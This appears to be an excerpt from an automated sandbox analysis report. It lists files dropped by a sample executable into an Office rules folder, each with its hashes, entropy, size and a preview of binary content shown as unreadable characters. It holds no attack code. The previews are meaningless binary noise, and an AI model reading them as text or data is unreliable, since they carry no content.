Preview:	<?xml.-..C+<;\..eh/>..Q/....$^.............-G.Q..v.0^.%.h9... 2.2.}..Gz.k.,.M.L.A..z._!B.!.^.A...@H.a...a..bW...+L.J+.\|.]a...U..z.A..Z.?..S.\|...S@...c.H..K..Ke..V2R..O2..}.)l.]....._.XnG...-....P.#bjk..K^.7+.D...\|@..[.%.......B....1x\|I..T..\...f4xr....L\|#..L.<...tG....._.}....?.....P.y.....?.M<..U.q..;...x.Xg8].U..5-..W...U...~.o8..........O.o...z..!'......3r$ .(...5_..Vi.]..)...n..7...Y.j.>l..5. ...Xk.{[..d....(........Wu.@...jy...mGA.M]....H.&......'.Y>..r.G....`.e.....:.ji.".01...Vf.N...r...G..........}."D.uv....B.e....D.....9...o.od...<..k.....\.%..Q.F_........{.....1..UBU...pJ9.i.....0.eu..L..A.zh..*~..q..7PJS./5...CmE.....Z..\|...)...J..6..D..\fyT.]../.Z.....F..)..r.D1...&..'....x.._......jJ..!..@................o.......cb.5....P.Q.n.dV...@...@..`..\|.....>..Q.V.&...$.>/f.}<)#.0<...4.n..?...GE...e'....'v......a.`../7.XtF...&.6.@.l. ....[.G...%.....M....@..........=J...O.{.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.868370591230121
Encrypted:	false
SSDEEP:	24:nbtChF4rbUuNIEaBXJ/okMSojDce50BKyeFPf/4/rw+WAIVl5BzM1tUwCaWHdWCw:btC8ntaljMFjDceq4yoX4DwhlEtUBPdm
MD5:	4567EFE8E0D367FD4407E8952ED07C0E
SHA1:	B7016B544420BA167CCEC105E90E52ADA5952063
SHA-256:	522FDE538D740782BB6C114976C1AAA24662B63AC84CA532ABFD63DDCAADBCFE
SHA-512:	5492D64F68AD827F9573B102FD20F66CF865E1A7DB180187AAF1F93FE3EADAF3E37E4E1B6A0E1CD25949C21919FB25B56462105F36F135288F646AA6620EF215
Malicious:	false
Preview:	<?xml...o.-.[../ ..+...>?.G....L..y..qz..fX....n.W..F....t....p.n.+..N....1......'...F.N/...,Y..c....Q...H...._T#Ay.vj.0....~Z...<..Z...b..'.Vgo...<.`.\....Y...\r..[...y+..z.$.h$....9. =....5'..;........n......M.V..4Y...'H.... ....&.J......};......)g........!.V.Q.9..LK...... .@......(.k....%...:vN.^.3O.I.....E.r.R.(Q..i.~y..C.Y.A.&?..!.!..fil..>..X..M 74)../..^g...<.}%.......&>.G....g..n.f!....~...i..~..S.\|...........xB.r.....&..]Wm...[^.....=.....].^...`E..%}i.3...........<......A0.V....c...Gg......?....K.a.QU.JF..&A`1..$...U9.c.i+Y.......B.6.Z..Z...c.n.....$.0%w.xkNV.b.....e..D....5.d..M.)i.7...o.ZQ.U...!...w*.:..T{..p..@..jb2..!.....G...8.<....(....L#^.....wH..5zc.......$.@...#...A..]S1u6..=..&.....~.l..}..p...@...z..%.X...nS.....P.eU...=7/.f..6....k.N\|.?F.~mW..n..,.Q...f.}6.Nb..s...&._..ohQ.r.f....J.J..N.........Y........{.=.......~5.e5.R...q..mFp....w<.=..;`..]sY.F^\|.wR..................Y..Ah;... .J..y.\.)..9.q.I.M....:.=..mwE.Q..;a.g4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.77035046922327
Encrypted:	false
SSDEEP:	24:DXL2WuH4MGiUwsqiF8lDdrFKS7yce7quAPDnXv8zDVbD:DbDurGiDsqtJjq7Wrn/8zDFD
MD5:	53D754624C227EA9A4CA798CCDA48066
SHA1:	1C0BA62AD755F6AE1B9E2789BA111A847BDFA1B5
SHA-256:	B59C2F221AAC3BF9A5F82B86D425CD928B81EE9E08F6281B7D25F936A5A25B11
SHA-512:	22EAE02F9F22B03D22370564CF7A610D2162DB0C1854C8234BA481D6FADA3826EE289AEAFBF707D02E630298F07A82640536613D2802C9C4D36AF98E34E09091
Malicious:	false
Preview:	<?xml;.....x.../AB./.,8.....)$?[.cx.:.._...\|O!5x..a.o@.g^...+.`E..ou.;<..W.......R.(."...\|..i..$B\.w4.4].f.@..X.#]...H.73...d~v.!"...Bf.GOYG..<..!s..PY.7.."..X+..C`..........z.7>....0.W...9...k...L..J...+..1.0.....Wzt.....b..\|.;su."..`..xJT..&.\..D...T...KP.....XJ.r...\|..uT./t....e.b..mT@/...hZ.#p...6..0.qxK...S4e.....Q..a..m.C.......2..iC...4......A...04.".....Gw9]x.{..V..E.M.{.Q.k7N..t..H..g...t.e.jD(..F..h....v.z...1.......1.u....Z.........C_.v.>.>.?....%u..Q..?I .MA..B.#UTp..{kz-@<.c.J*,..gtG.q.....i8.0..>E..j.^Gb.DZ...&.2.....<i..x:`O......<5.9.\|.a....jt.v...u....f:....Xy.........8..fx..T^,l...j.s.=.......cC..!.V..2r;8..DFa.%_0.Ca..\b2g;.(.p....e.0e..W.n..>.mq....,zu....:&C..\|#.\|.s...5..ERzu@&...)2....P..\|vftex.....U]U.....1.....)....\|....=4..f...VTq..z....F...(..thJ.4.8...KG...........,itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.746306890392843
Encrypted:	false
SSDEEP:	24:j268WVnnnNkxxBfbFLg7aAVNWBcHB36QwZVbD:jIWJnNkxZL40cgFD
MD5:	1F1CDD91BE92412CEF44033118770B96
SHA1:	F5E5A47125413A3E330588E3CB353109D6D50BAC
SHA-256:	D19902B4CD573F9ACB31DA81C7B8ED2D0C356E0C82166A9CD67931FB3CC10C65
SHA-512:	6794F8C9A4CAC63CAECEF030DAB209012E475A4A14A708DA4A0A66206535587CC0AD6E6B6A43A9BD9624F143D602776405427CF97048F214220D59415F2B7902
Malicious:	false
Preview:	<?xml.!O.VQ..o..^......5...SO.!:..rov'..^<M....;...L-.....\|l.^......&..g.....ar...84X.....h..+-.q..f...YZ..!...R...=.](.t..F..).R.yym:...q~...D.......c....{K.b..q..%.f^>hdm.cU...4.wK2B...!....x...V..{y1.....]L0w..]...:v'....G#0..dqV.^..n..>.V5E.......4.F.P.._^].MB..r..DB.Q9._Tj"w.S..j.}m.J..0hq}Ur.8.{...&T)....?X......C.q......m.<..y.o.H.E'.'.i......b;...\C?s.Uu..?m...O.P[.Y.l.A.GC^.?p.....<8..'....".....=...h.&X.r.C...um.!q.X.q...l..KO....Ss?.7.1..G.L..9...)..Uuh.m}\|m`...x../...1.%T..V...h..q.....h....i.jYV.m...Q....`.TIl...$.pB....K%.\|.Sz......c....&.....\|..].....V8n......K.)..].L.H.l.^..`@W..Jh...R.(....L.&C..g..B...S...:0K.F...O.z...}.AFce...$g..T .+~.C.\|......+h.k-.......:...%0y./\|d.@>...LKjD.._..Pc.......7......F.])........o>#.M7J.L......}..i.YM&..6?g..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.846306866730808
Encrypted:	false
SSDEEP:	24:24f2RfA0NezcFwmSiOtxLYc4VbPjGEjI58DfcVmu+k4GVbD:HstslmOEnVbCEj9Dfcsu+5GFD
MD5:	AF1F49918124CF12005EF09953BADE94
SHA1:	7E2F1252A60BD08CFD30B77B2148F26207B10454
SHA-256:	F5BACDA40DA19BAD7A821102106F2F3E115B2810D4390B8AD9FB36744138987B
SHA-512:	CDB91A12615CD54ADB948AF03C196995F1AED039B0F5CC068AD65EDBB852CC061AB25B07B89629D991A60E9D8DCCDC841BD5CE139DA95899E283E34AA434009D
Malicious:	false
Preview:	<?xml'...../Az?...xz.o....}$...h.....4\|:....)..-}........`U"...5N......t...#IM. A.......(..]K-...z....=....J...]'<._..=,.H.O=..?V..?..qQ.?....l._....J.r..$.,_zt....\....>l.ra:Dr.z....n...9.r..:B....u.p..6+...!..(..M..:.2.P...l.g. .......4....e...$....zk..4[....\...P..f..I....V..\...g.0;j.W....!Gm.8P.Zi..1.A..G...........n...M....S.U.........y.L.~=W=.&9.3.;n.^.G.N.Z...i.&..kG.O.....0....s..k......B2.M ..<}....!.....8..h.....'y..6...)./6...#c.+f.....J.5..3...MZ...dE..2.....\'.\|...U............(.j..K.w...}..n...s1.Ss.'..{......./k...T#_..6....hF.+.x.#!._.....)C.}..P..IT.c.a.h.6..,i....n#Rt....X...9....x@~....h.4.I.,.<...D..Lm.,pv..T.^.1....%sq.nh\[..,....Q+E.>?Px..)j......gSM...@.. .p"v.....kF-..H.K..O.M"}.u.]o..1K@c.Ry..+V....l.s..o;.....e..{f.3...$..K...i6.:....Z.u.j.......#...>..bY...........`.`.<[9.[?u.D..=.'....H.`.....o....r2..h(.v....<....X!k<..,...zND..5]......H......F..\.V-...r.2..[...itkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.774503336358945
Encrypted:	false
SSDEEP:	24:zQSyoyZGDj181EFHzS0J7Q3rDgPAQEVbD:zQ9dcJ86z/sFD
MD5:	1127E31FE8D330CAF8170799200476DD
SHA1:	774888569368E3E428972BB0F6647C5C9A341AF7
SHA-256:	061DBA2D5D2A613E07D5B8BF2C5590B2751B65625B899A9E533D996E3A7D4FCD
SHA-512:	547F092B236B617176473AFD1159E59E098B53CB3C9A11E00ACA0B30117A509D7D743DF2621C321B3CEEA359B8A1902478D2C71FA00B333CE7A06904EBEAA4DF
Malicious:	false
Preview:	<?xml.....3.~.).-.pYsc....-...Q=.4..u.i..rg.@.."..p..1..@.=..;;...H.<.R...L....?.f....Z....\YU........c..3/.r\..{^wa..%(..,n..%.n..>.s.]...I!.. ...@2t[m.E.`.oR.g..j!.z..v5@\|e"....J...B.7L.u.5.T...49..\|....6...U....d....w..[...1eL.-.F:...RsF..c`.fPu.&x..q.5.8.t...n.=.U......0.`..).G.W:9..#..>.\D...>4.-@g.N...io].y.==.mx.i....e..M........0...8.=.">.{....q.l............./.0V......c#....l:S..."..2...LK.....[..r.hd(.#.Y.!a........K..%.U@....jEs.\|?....._......T....?../.9...$Z.....k..0\U.X....."....e...M.f~;.>,7.....`...S...h.P.(.[.@=fw....%\...2....C]"....Q....`t...\_H...j.5y.@..-...q..6:..g........]R.".z&..1m..S...-[.c.:.....s...il.V.J.E.Z..K.bn...`..11.l\...R.VE..s.........;....~). m.t..I.i.?.B{.'......kZh:L...._.4+.2......%.n.Y.......p=...^c`.U....2..Qcnm..fitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.9773810667916365
Encrypted:	false
SSDEEP:	192:iLy/gRkkkwH9Izak0RrRtkY7GlLfbWu2J3L+XonWqmfk3MFPk1g5nGxVxi:iLPZOGk0lRtkYobkac4k8Fc1gJGxm
MD5:	A929244E2135DEABE14956CF16883650
SHA1:	EF6D87613C3CB29B159701C092FD6C7DC76493BE
SHA-256:	908A401AB0CB931D0F610F9226D1815D50BDAA8757CC3D7961810FBB41881B8F
SHA-512:	E020A55DA3C429F82DC01B0B41A3DB008CC6F7FC3783772BCECC63FF28353E9EFEFD403DC134A8193ECC69292EDC27FE26B9D113448D21AD77A4FB042D19A3DE
Malicious:	false
Preview:	<?xml....v.e...sEPX.p...P......!...dV1.4..o.kj.mZ!....7J.g..R..-..5..B...h..O~1...E.{.+.x.L..4.....T.`.......tjv.cb....Dr62G.)..tB.......b......#...@...i.[.".....$eDH.i'.B.../..J.(.L.X..y..(\.x&....6}=...>v..s..K/...AE#._..<o..j..l.b....EZX......o...^....cU.G.q.^.V....V..z..w..He.=....I.a......Y..KbH..3U4...y.~.7....4...:.....^..qI.\.c..>.7........9..u..H2...H]{.w.7mz.5jh~...V._..Y...-j....bV...v........H...^q...VfC..2z......+.`....U........\..{.e.q?....Wx..6..oP.....?h....i...\P1.8..t5o.sn.-bW.>.m\C-.l..d.V.#...d0..........5$.....T..........=.b..O..^.rn..mi.:.4`....FY......!{.....)X..C.....m...v^e/.`...........jc..P.......@..I.:....7\.W...f+1.A ..g2.:....S.,..L..>\|F.v:.E_Rv=.....@A....eW......{.+c-..C..3..q...p..P.,..._.{".....M.K....N.!..gC:..T..R.2.....D.&..{..z.....+........4gi4..........jPdt......_.~.4D..l #..O.........Xs.44...SZ..9x..Jh.$z.....)v..v.@.,..g..g!...._.ax+....uh)Y.{.$FrMH.6.XR.PG6....:r.c.w....%9:.zx...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.840712544314076
Encrypted:	false
SSDEEP:	24:QeIzwol58X5iOzjEJpc5873BvDKI5LNargSYRUHG+tsSRns5PCiVbD:QeI0olKoQjEJe5K3BVLNaYUmgRneFD
MD5:	31CF07EF259E5C68EF947CBABD341FF6
SHA1:	4D64656AB2E36B6568B72719DAAB067AADDAA4FA
SHA-256:	3AB4CC70199A34F44347E0E8E641024031650FBC666311DC7F518D43F36C3921
SHA-512:	D6589329F445FBF514D5306A5190344E075BEC42F2E18A6F999767B6DC67408D53054DEABB63BD55925A05CF6D624C9262F72CFAD86F7435F4892D077566CE12
Malicious:	false
Preview:	<?xmlx.cpc.5....<`.......mMX kJz..>.q.....b.,I.saqC~...y.h.-.$..n....H..^W.....Z..N&b.6P..#f.S].Z.w9.x.... ..S.y&.....{T....L..B....6.a..}09...[\|h{]0..y...U..E]a&!T......x.C...^..].9..(.....VD.c.%.6...;...H.g....UO.........m....<....g.....s.P..XW$._....>.sce.Z.L..#....\.-QvZG..;I_.gA...H.vs.g.Z....>.C.f......./.`.f.n..V.r....W./...U.sl...>...K.....E}..O~.....8...~..0..J..~...@%........@Ii.F.......T....V.........8.............i...Q...MS....WUV...va.n.D.y..2>a....5._.W.[.......:f+m-.zB.f9`.e.......D..7..?.u.1%.....s.?..$\|j,.3...\|.Z..@h....[zY_.zK.F..r...1M....L.)'...#.6.Ma..`(.......\|..9.0..\X..\|..O1.L.m........z..zZ;..c...[...-.k...9..A./.B...J[8..PT77C.4.+..0S.I.~....i..^U...q..0u.u.3=........N..E/.Q.%..d....r....2.8.7.<..+.KR.vr...P..P...45.....).w.......B..s.oD...\+R...}J..u...p".41..Q-. ......T.....K...acV....y.Rb.(.f.M...*.X>...y....i<eLA..D'.....b..1.........eRo..M.;N@..'l....]\|z.p...$....o.. .V.........L.!.2..Z#<u..4...=..-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.811933408097798
Encrypted:	false
SSDEEP:	24:wBxanZWy7IUEoz7EjvYi8mEOpqv2SV3kNDSad+ZmX6UyE12VbD:wBxanZWtUEexTGgBmBb2FD
MD5:	7E192CC24944C01AB82C9F6732455027
SHA1:	83EDA00F588B59205A4DA64DD0B8B6549E8B7C03
SHA-256:	0D4F1C61028EAC55F5D9505D69FAEE93B2F1C105B829D48050BD0416AFF0FDE4
SHA-512:	A53E8894FE9E8265DBA0492DE62A6740C749F44D43582EB698F640ECB01A517829C9CF8E99CD515BEF23C5A836444D24DC19A7A58701144EE9F9B1E0B52182BE
Malicious:	false
Preview:	<?xml....'.d.@.f.I ......8..(L:..I........p..C'h...I...-.R"]....r....`.j.F."..R......9.......4.._A..$.7..p.n.....#R...../e..2.... x...,`..t.^......6V..1.l...k+.{...:.@.;O\|.$......f..Pa....2P....o).."....=...v0..s<R.Shb."......6...I.Xo.C$.u...G.X...(N..5...h....4......V.-...j......5n...&....@......_....]_.4_.Q...\.v..TM+.......S...,...I..4.....%?..P..#.S<.\|.M....Q..ma.E.;...c.}..;..v".k.W^.^..0>....}:)wm2........%}1R ..Zo...6/m.s..gw.,g.j... lq...;>W.L;.=+.......o.j...1..."..g.haY`.K/[...r..S..@.'....[.X.................O.H..!-.M,tHnfc}.,...A.3.M..L......-...gG.2E=U9H4.(..J.n?.NlG..n..K.=..}.@V3..&.Gp.m...a5gC........4,+ec..a.$.i.X.@.v...._r.jU:2....S.&p....%jp.[..w.h...Y....L...,.('~........T.}..../D.}c.<.<....m{.o0IT.........9.:......._U.Zs..#..}.z..j..........4.....MxW..Y.b....".....R,].w.F-..R.`[..S...A...{i..m..=}m(^p.j..-;S.e...&...7LRTl.'.0l.9.]..j.~.W.0\|.>...~..zE........u...u9_.h4...#....XW.x......zy.Z...`g6..M......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.815954968790751
Encrypted:	false
SSDEEP:	12:nfAs94ABxMraEEERPfdAtPi4t1Zqv6rzrZVKUCwyLZJSGxtsmri4NKIp9BFKgUj9:nB2kiGE8Pi6CvKfcNJSGRo0J+VbD
MD5:	3F8310B2BC59DBD8337236DB3E102E37
SHA1:	8558070C163BB48FC870ABEBC61AE045E213DA99
SHA-256:	E60114FDE99F82D16C93F71D4E0232DD117A15950A60936B9EC184FD4600DE1C
SHA-512:	254E1263729187049EA2C8BE9D58C3C9361F6147B550056A1AC7881C48D52AC7D0A6560AE3ACE9233A4483D6F95DD984E066C160DECEB948F34A7E240A3F6711
Malicious:	false
Preview:	<?xml.b.\|.<p....^'.s.IX>.ak..x....59~.9M..r.Y("J.I(.d..0.X...............V..;S......U.<.yw....O.b..gC+..D#SSy..#.-y..!......]..)}.../g...\R........n..e.h...>'.....:W...z........5.....)..P.$:X....8.D/c..R.<.M..>U9t.T...Ai..N.F.[.[.....W..{........C..(.ys.`.f8..7../..sa...A.....x.!.B..B..r.....Q.Zj_.....f~...G.D.>..FV.is.. ]..C.. ...>...LVC....b..A.[..h..d.0J.{...]1s..U...b....&..=\|..T!..N.3 .~0.....k.o.K.n..FQ~.u.S..!u[.PZ.(.Z}..xn.b..27N.Yr..._nU...y.A#..g/..P....)...ny....E@@....c9..Z.J...f+.N....2.>v...<.nk.S+n.L/.......\|..>!o.l.I...-..@.NC....I.>M>h.P.5..."...U.'..../~3.B..[....b6[.I"...PKXyg.....G..........0.1...Dem ..DC..........D=..`...k.....g...5...t.Q..3..BD..._...........w..)..?3.^7....J.i.%...h\a....f........5.f'...r........h..XAt []a.=U...\|..........X.<>C\|..~oZ.4..g.&..>..r...B..wF.W.J.. g..1#..M+.....v...hl.Wf..4...i.$.2'....{.z......cB....]...<..5....."..N-6.;...~...ly...^....j..e.(.......N.q.O.*14b.G.9..5.\./itkm7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.935746500923472
Encrypted:	false
SSDEEP:	96:9gHWf1ktbUkFfv9PYK3uMPadieI9osZf605G9:9g2mtQkFfFP53xisZR4
MD5:	BA0568F2B6D977DE158EB55D1F34DF31
SHA1:	D47C6F298A51EAA27EAD2B3AD09008D41500959C
SHA-256:	DCBF983A8DFCF683D19A2E456152A5B41C0BD145F43CDBC93001ACE2BF43A171
SHA-512:	85B3079929D58AB9C03B16A2F0CD97F40C5D12D505F586C98FA33C85D5A496793CFD605842C4856068790F63712AE8A4F478D44E83456D7686AA817EB05F89EE
Malicious:	false
Preview:	<?xml.z.sk.?.U...>.T.}...*Y..dr..%./.......".6.!............G....[.5.ty..(=...........o..M.r).b.-.u...u.._..]`.].g.g4...J...]...-.k.&N.....$.=...9...Fo...?]..$..~"F&N.b.5..6....1~.&.?)....;......=f~...3#<...!....I..y...~:.....a.....[F.?.3x.......=.tne..)8....MI.-.....E,S...F].............J..j.<c....0.XW......m......+.Y.].I.5......c...4&....$.;.u...\..%...;`.a..m@..........`.....B......x.'..^..Y@..6L3..yiY.. b...'..n.~.....`iPs..:.....!.yb.z$:......O.4.F..q_...oQA`....j.R..6qd..l.'...{.......%...4......4...9..B...m.....,..........N]X...8.u'.%.Q...UMc... .LW`$..'n....M.S.iFn... .e..X..O......Xj.d...K?f.)....h)....)..9Y[N.:q.5B....T.u......k-\|Z.../.....p8...z.2...F..1.^.......vJ..G....).&......2....tL.X]....%t.X...Qb.........6.~<I.N..(:&.q..8#s......Xld..5........R....?.k0.+m..6f...%..=....).L.#.S=.h.c..r....(J...P3....+J..W.p.....8.....!;...... ...0.&H"..A...}.kw...>..so...A.V...G.....m\|...K~@2...9....F...J?..(%....+..=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.840120850962983
Encrypted:	false
SSDEEP:	24:Q0RDKzRZC9VFA8tGnP/f9pNiY53cDSsOLcus6v3QJ9lWO//f8fTlzLYnpVbD:HcCDgP/1pNd5cigufvQRzfKZzL8pFD
MD5:	AAF9D9932A97EAA5B29C4E721AF15422
SHA1:	B9AE6EFCBC8074476967EB0FF08754C818414F78
SHA-256:	190D7F27516EC99AB86C8E0686F40599751603F14EB736531DBD49A2F8FAB0F4
SHA-512:	461A4771CA709FAC3951AE1EEB265EE573DF3B30D42F8A7C7261812C493571B6BD59B550DCEC0248333DCCAEAFB4C6AE10AF33DF5F6329B75F3855AB3A9FDE54
Malicious:	false
Preview:	<?xml..F.1<.....q...A......_c......Y...>qx.Q...;@Z..'4UGZ.~.y^g=....U..u\8.7p.m....q.^..<.'..(R.xg.#..Nc..+.....!..gnv.XM.0.....#i.5...\..o..D.iPsQ..."....M.c..L.Q...%.....r..s..k...Ubn.r.lO#.4..'z".p...ET\|K.^3...5A.......JL..M.-....VT.q.J.}..:..!F...u..V.m.Y!x....k..\.N$.d..i.O..x.......\4.w.W...Us...6kj....J%.V.hue.s9.#N.j.......JXEs.<bC...>.(d.b-wyE.X.(...6b...N...../.....IZ....r,g..'.x.......$....6=.D`...`....s.3.......^,.....s........&...n...........l8.......U.......d.xU.....tK..K...T/.J..LMH...T....VN..l........8....h..m.0.0.E.^15(...E...K..f...\|....o!&,.<.Z..wl.......(.VE.'7f...?j.K-.:!=.>..a.. .y....N.R...'{..K[-..Y..[Ty.'p-rj...n%..X.C.i.u....../L(.&)..j.p........u9......&P.....m....z..$...Z...?S.....sTj......c.Y....az.g.D...`....J.i...k.(7!..3.N..n.p..Y.dK..q.........U.p.;1I.>.DL...Bk.[..2.s.f.-...D1.....l...$..C.4.....J.3.:Si@~.Yo_..2..Y...\..'..-.Im..WH....Z.o......@.K....L....N..6.w...4.*f{......hm...8..lO..B.]..u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.976649301884366
Encrypted:	false
SSDEEP:	96:PUp8Uy135Lvdgm+yQx6LxGueygCLISTW7K1ZqIxbSxmhYkkHG0baVOdZEeV/ED5V:PV1Rvdgpy4yhhP14ubPht0byOk55XBl
MD5:	8B3EB75B23A45A27EDCA9E693F43C9FA
SHA1:	AFE43CE1EB0C625053693353BF88ADEC7346A191
SHA-256:	BBE5969929D14080DF2AC80ACFDDFBC2D5ADC5B40491990ADFD8CD664698ED27
SHA-512:	E69791DED84058BADE4F46ECA38F80221683B5FC46DEB4D644A35556524A5CFC9A4358A298FDE34AAAFF30A68F4C90D4CB2F3E96C10838A5690F3F234F9C7F91
Malicious:	false
Preview:	<?xmlZ\.U.R/..N.-.3..5.,...W..h..v0~.-..;........I....~......,`P.0>h...]m........kif...q0_.>...L.wjw.i.W.3L...t.}.g.4.....k.V..(....c...LewL\|dF.....r..A.amwBPU.....6!iDB......e.6T..;>..$.{..?!b.....H("u.+~.....qBN1,..{......k....,...u..B..c...~O..3@......B.}....{e...F)!.17.w.`#..}v~..S..,...Dr+.2do.\|!n.k...N.}w..H.p.......Aeg...,....t3<.....V.s[..o.0.R.(....1......RP.?....x...U.R.=.....4m........Y..Yky...U...7....s%`..f4@c...6........o.^.$.\.,....\.w.2...Dz[.....x]....{..PZj...lC..t..^.<......C.....n.>+5ht.DI.}a..9....m.C...d(Z ......v....Lx.{..'I.......r?.&..N'?.T....w......f.:....>.[@.D..U.N=..~.ge........ef].....o.....i/b..@..h..J....#....J..pa .j....5pml&5.$\|.Q......MWx6....[v..............qb......yd..3....Az...........`8..@.......O../;..P...`..e....j......s9+...E.2V<*..]QB..EO.^.a.......j.t.c.42.I&.`-...b...+)..m?.gj._oM.=o..h.B...4..)K..C"D;.\.].x=..A..4.[.6.#`.F6.3^.........D...Q.....H->.:..QNfMjfOs..D.%.. ....D.n......G...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.729926547890723
Encrypted:	false
SSDEEP:	12:EecDGuDhdgG7xcAJHo08zpEXMcIhUmONo6wV+2ZCHDH7t/2BofyITtvZ56ewABOL:EeODhqG1xJapEXfAA2CnGIT09/VbD
MD5:	7EB2DCDA69E6D644D104131F2172EFB2
SHA1:	A20C8F80ED9731549DCDF7EDCE57CA2B5C8E55F7
SHA-256:	E4E1501469845ADD4F2022924A6B07DFBCFD0E69827F8183932A5747858BF384
SHA-512:	D2EA8CE6ADB5FE3B2FAF57306AFE73325F6EE171FE6044859264FFC11A8A57B11F4708D31B437146AF3874B2E8FC7A3E81F673D3D5D154D7F15B35B70AB6C8F8
Malicious:	false
Preview:	<?xml....VwS...n.%p;.]....R8..Q..J.KN..4t....Ut).{...:.....%J.^..G.....?v.:e.l+.P.M......!...$.y...)..+..Vc....A..RO.d...E....'.S..)3....T.....O0......~).,.t..Q2./H/f=.... Dj.e.....v......t(....D.....e....?.r...r...Zu^...L.P..!...x.S.V.)..5Z.6(........9.:9....u3...y.......VX.C.b.\|...3'...s........f...hR.+..u.......w,.1.....^.3......7...7.......e..R.I.....N[.....yS9..>.:8.......>;..xm.Z6\|.3...KzD>..7u.F.\|.%A...8j...B....Ip....P3w.Gn....J.!.........B..c..:.a.......H.[ 6B^A......sv..^.g....8dm.....d...g....d.y../&....&...+..F1~..g.......X..5G7....n<{. _....<..E).....LT.60.......^.g&..4,>\|.P.q.^.t.+.J..&.iQ.Oa..%.i..-..)..D].]..(....:/..........{.q\....{..a..NsZl.cy_TW.LA.R@..............R...P...Ux.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.928029455439656
Encrypted:	false
SSDEEP:	48:SJQMS5bREYEg6n5klAv+9h679YVzkMYr2Jz+CrlozVEEUecFD:JMobjG5kv9YMzxP/rlCVnc9
MD5:	28693513E9B422FCFF0918F3A6A14DF4
SHA1:	D418751857B8C0BC6A6C084852F31FCCEF3D0719
SHA-256:	6F298B56C46F886520EE415658BA1B4BBF8F7B6BE0C922B015B7DE52FCAA3EA5
SHA-512:	C0ACA7705E34DB28713C1A3AE6166D1A7B9BBBA6B3E641F42D5499967B622785E8512AD975FB214FC1CBE8CDB09214DC4F0FFCD6964DB00B917CD127C44897B9
Malicious:	false
